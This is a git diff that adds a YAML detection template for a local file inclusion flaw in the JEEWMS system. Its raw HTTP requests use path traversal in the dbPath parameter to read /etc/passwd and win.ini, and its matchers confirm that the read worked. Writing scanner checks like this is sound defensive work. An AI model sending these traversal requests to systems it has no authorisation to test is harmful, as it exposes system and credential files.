diff --git a/vulnerabilities/other/jeewms-lfi.yaml b/vulnerabilities/other/jeewms-lfi.yaml new file mode 100644 index 0000000000..65ff9dc8e0 --- /dev/null +++ b/vulnerabilities/other/jeewms-lfi.yaml @@ -0,0 +1,34 @@ +id: jeewms-lfi + +info: + name: JEEWMS LFI + author: pikpikcu + severity: high + reference: https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g + tags: jeewms,lfi + +requests: + - raw: + - | #linux + GET /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 + Content-Type: application/x-www-form-urlencoded + + - | #windows + GET /systemController/showOrDownByurl.do?down=&dbPath=../Windows/win.ini HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + - "for 16-bit app support" + + - type: status + status: + - 200